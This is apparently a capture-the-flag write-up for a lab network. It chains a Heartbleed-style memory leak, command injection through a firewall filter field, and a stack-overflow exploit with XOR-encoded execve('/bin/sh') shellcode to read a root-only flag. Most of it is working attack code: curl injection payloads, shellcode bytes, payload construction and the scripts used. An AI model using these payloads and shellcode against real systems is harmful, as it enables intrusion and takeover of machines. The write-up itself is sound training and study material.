This challenge simulates a real-world multi-machine network. The attacker only has access to the router on port 9090. The flag is locked behind four layers of exploitation to reach a root-only file on an internal machine.
The router exposes /api/heartbeat which returns 405 on GET (hinting POST is needed). It accepts JSON with data and length fields. When length exceeds the actual data size, the server returns adjacent memory — a classic Heartbleed-style vulnerability.
# Send 4 bytes of data but request 500 bytes back
curl -s "$ROUTER/api/heartbeat" -X POST \
-H "Content-Type: application/json" \
-d '{"data":"AAAA","length":500}'
{
"response": "AAAAGET /dashboard HTTP/1.1\r\nHost: router\r\n...
config.admin_pass = \"60yFj6T-jg6SMhscpaF5vVh2wQLmeyFZHSmeazILzPY\"
config.session_secret = \"mr100-netgate-secret-key-do-not-share\"...",
"type": "heartbeat_response"
}
curl -s -c /tmp/cookies.txt -L -X POST "$ROUTER/login" \
-d "username=admin&password=60yFj6T-jg6SMhscpaF5vVh2wQLmeyFZHSmeazILzPY"
This grants access to /dashboard, /firewall, and /network. The dashboard reveals the internal network layout with mate-machine visible.
The /firewall/update endpoint accepts rule_id and filter parameters. The filter value is passed directly to os.popen() without sanitization.
# Inject command, write output to static dir for retrieval
curl -s -b /tmp/cookies.txt -X POST "$ROUTER/firewall/update" \
--data-urlencode "filter=1.1.1.1; <COMMAND>; cp /tmp/output.txt /app/static/r.txt; #" \
-d 'rule_id=5'
# Fetch results
curl -s "$ROUTER/static/r.txt"
# Base64-encode a Python script and inject it
B64=$(base64 -w0 script.py)
curl -s -b /tmp/cookies.txt -X POST "$ROUTER/firewall/update" \
--data-urlencode "filter=1.1.1.1; echo $B64 | base64 -d > /tmp/s.py && \
timeout 45 python3 /tmp/s.py > /tmp/out.txt 2>&1; \
cp /tmp/results.txt /app/static/r.txt; #" \
-d 'rule_id=5'
/app/static/. By writing command output there, we can exfiltrate results via HTTP. All subsequent exploit scripts are delivered this way.
mateos-httpd — ELF 64-bit x86-64, dynamically linked, not stripped.
| Protection | Status | Implication |
|---|---|---|
| RELRO | No RELRO | GOT writable |
| Stack Canary | None | No stack overflow detection |
| NX | Disabled | Stack is executable |
| PIE | No PIE (0x400000) | Fixed addresses |
| RWX Segments | Yes | Can execute shellcode anywhere |
All protections disabled — this is a classic ret2shellcode scenario.
extract_user_agent at 0x401436void extract_user_agent(char *raw_ua, http_request_t *req) {
char ua_buf[128];
strcpy(ua_buf, raw_ua); // OVERFLOW: no bounds check
strncpy(req->user_agent, ua_buf, 0x1ff);
req->user_agent[0x1ff] = '\0';
}
strcpy copies the User-Agent header into a 128-byte stack buffer with no length check.
The HTTP method field (first bytes of the request) is stored in rax during parsing. We place a 6-byte trampoline in the method field that jumps forward into the shellcode in User-Agent:
; Trampoline (6 bytes, placed as HTTP method)
66 05 10 01 add ax, 0x110 ; offset from method to User-Agent shellcode
ff e0 jmp rax ; jump to shellcode
The CALL_RAX gadget at 0x401014 is used as the return address (only 3 bytes needed since high bytes are 0x00 in non-PIE).
| Byte | Reason | Mitigation |
|---|---|---|
0x00 | Null terminator (strcpy stops) | XOR-encode |
0x0a | Newline (HTTP line break) | XOR-encode |
0x0d | Carriage return (HTTP line break) | XOR-encode |
execve("/bin/sh") — 60 bytes; dup2(0, 1) — redirect stdout to network socket (fd 0 in inetd mode)
31 ff xor edi, edi
6a 01 5e push 1; pop rsi
6a 21 58 push 33; pop rax ; SYS_dup2 = 33
0f 05 syscall
; dup2(0, 2) — redirect stderr
6a 02 5e push 2; pop rsi
6a 21 58 push 33; pop rax
0f 05 syscall
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
31 c9 xor ecx, ecx
51 push rcx ; null terminator
; Push "/bin/sh\0" XOR-encoded to avoid null bytes
; "/bin/sh\0" = 0x0068732f6e69622f
; XOR key = 0x4141414141414141
; Encoded = 0x4129326e2f28236e (no bad bytes!)
48 b8 6e 23 28 2f 6e 32 29 41 movabs rax, 0x4129326e2f28236e
48 ba 41 41 41 41 41 41 41 41 movabs rdx, 0x4141414141414141
48 31 d0 xor rax, rdx ; decode -> "/bin/sh\0"
50 push rax
48 89 e7 mov rdi, rsp ; rdi = "/bin/sh"
51 push rcx ; NULL for argv terminator
57 push rdi ; pointer to "/bin/sh"
48 89 e6 mov rsi, rsp ; rsi = argv = ["/bin/sh", NULL]
31 d2 xor edx, edx ; envp = NULL
6a 3b 58 push 59; pop rax ; SYS_execve = 59
0f 05 syscall
trampoline = b'\x66\x05\x10\x01\xff\xe0' # add ax, 0x110; jmp rax
ua_payload = shellcode.ljust(128, b'\x90') + b'\x41' * 8 + p64(0x401014)[:3]
http_req = trampoline + b' /x HTTP/1.0\r\nHost: m\r\nUser-Agent: ' \
+ ua_payload + b'\r\n\r\n'
With the shell on mate-machine as user ctf:
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ss -tlnp
LISTEN 127.0.0.1:1337 # vending-ui.py (root, localhost only)
LISTEN 0.0.0.0:8080 # xinetd -> mateos-httpd
LISTEN 0.0.0.0:3117 # fw-update.py
$ ls -la /root/.flag
-r-------- root root /root/.flag # can't read as ctf
A Python BaseHTTPRequestHandler running as root, listening on localhost only. It loads the flag at startup and checks a service token:
def do_POST(self):
if self.path == "/dispense":
token = data.get("token", "")
if token != SERVICE_TOKEN:
# 403 - Invalid service token
# SUCCESS: sends receipt with FLAG embedded
receipt = "..." + f"\n {FLAG}\n\n" + "..."
The token was found in /home/ctf/.config/mateos/service.conf:
service_token = MV400-SVC-a8f3e2d1-b7c9-4e56-9123-ff00deadbeef
$ ss -tlnp | grep 1337
LISTEN 6 5 127.0.0.1:1337 0.0.0.0:*
^ Recv-Q=6 > backlog=5 -> NEW CONNECTIONS SILENTLY DROPPED
The solution: deliver a Python script to mate-machine that kills stale processes, waits for the queue to drain, then POSTs with the token.
# p.py — delivered via base64 through the shell
import socket, time, os, signal, subprocess
# Kill stale mateos-httpd processes (same user, ctf can kill ctf)
r = subprocess.run(['pgrep', '-f', 'mateos-httpd'], capture_output=True, text=True)
for pid in r.stdout.strip().split('\n'):
if pid:
os.kill(int(pid), signal.SIGKILL)
# Also kill stale /bin/sh (except our own)
mypid = os.getpid()
r2 = subprocess.run(['pgrep', '-f', '/bin/sh'], capture_output=True, text=True)
for pid in r2.stdout.strip().split('\n'):
if pid and int(pid) != mypid:
os.kill(int(pid), signal.SIGKILL)
time.sleep(2) # Wait for listen queue to drain
# POST to vending controller
s = socket.socket()
s.connect(('127.0.0.1', 1337))
body = 'token=MV400-SVC-a8f3e2d1-b7c9-4e56-9123-ff00deadbeef'
req = f'POST /dispense HTTP/1.0\r\nContent-Length: {len(body)}\r\n\r\n{body}'
s.sendall(req.encode())
shell6.py — The Winning ScriptThis is the final exploit that obtained the flag. It runs on the router (delivered via command injection) and orchestrates a two-machine attack.
execve("/bin/sh") shellcode with XOR-encoded /bin/sh string.CALL_RAX return address.p.py and writes it to /tmp/p.py on mate-machine through the shell, then executes it./tmp/shell6_results.txt for retrieval via the static file server.find_flag.py — Reconnaissance ScriptUsed in earlier stages to map out the mate-machine filesystem and probe services. Contains three types of custom shellcode:
| Function | Syscalls | Purpose |
|---|---|---|
push_path_shellcode() | — | Encodes a file path onto the stack with XOR to avoid bad bytes |
make_read_file_shellcode() | open → read → write(0) | Read a file and send contents back over the socket |
make_getdents_shellcode() | open → getdents64 → write(0) | List directory entries |
send_exploit() | — | Wraps any shellcode in the HTTP overflow exploit and sends it |
shell_exploit.py — First Shell AttemptThe first script to successfully spawn a shell. After confirming id returned, it tried to run a one-liner Python command to POST to the vending server. The command returned 0 bytes — this is when the stale connection problem was first observed. Led to diagnostic scripts (shell3.py, shell4.py) that identified the backlog issue.
| Script | Approach | Outcome |
|---|---|---|
find_flag.py | Directory enum + file reads via shellcode | Found note.txt, start.sh, service.conf |
relay_exploit.py | Relay shellcode (108B) | GET worked; POST 0B |
relay2.py | Hardcoded GET (124B) + relay v2 | Confirmed vending reachable |
relay3.py | Larger buffer relay (119B) | POST 0B |
relay_final.py | Relay with read loop (122B) | POST 0B (jmp offset bug) |
relay_debug.py | Debug relay + read vending-ui.py | Got source part 1 |
read_post.py | Lseek shellcode + POST variants | Got full do_POST source |
final_flag.py | Relay v4 (116B) | POST 0B (wrong Content-Length) |
flag_final.py | Fixed Content-Length | POST 0B (backlog full) |
shell_exploit.py | execve("/bin/sh") + commands | Shell worked; Python cmd 0B |
shell4.py | Shell + diagnostics | Found backlog issue |
shell6.py | Shell + kill stale + POST | GOT THE FLAG |
Multiple shellcode variants that would socket() → connect() → read(stdin) → write(sock) → read(sock) → write(stdout). All successfully relayed GET requests but failed for POST because:
Content-Length: 53 when body was 52 bytes. BaseHTTPRequestHandler.rfile.read(53) blocks forever waiting for byte 53.jmp had offset 0xE5 instead of 0xDF, skipping mov rdi, r8 on iteration 2+.execve("/bin/sh") (60 bytes) is vastly superior to hand-crafted relay shellcode (116+ bytes). The shell is more flexible, easier to debug, and allows arbitrary commands.
Probed with various endpoints and the tech token. None returned the flag — it was a red herring.
length parameter, always test with oversized values. Adjacent memory may contain credentials, session tokens, or config values.
BaseHTTPRequestHandler has a backlog of 5. After 6+ failed attempts, the server silently drops all new connections. Always kill stale processes before the final exploit.
0x00 (strcpy null), 0x0a (HTTP newline), 0x0d (HTTP carriage return). XOR-encode string literals with a key like 0x41 to avoid these.
add ax, offset; jmp rax) in the method to jump into shellcode in the User-Agent.
CSC 2026 · Pwn · Solved 2026-03-28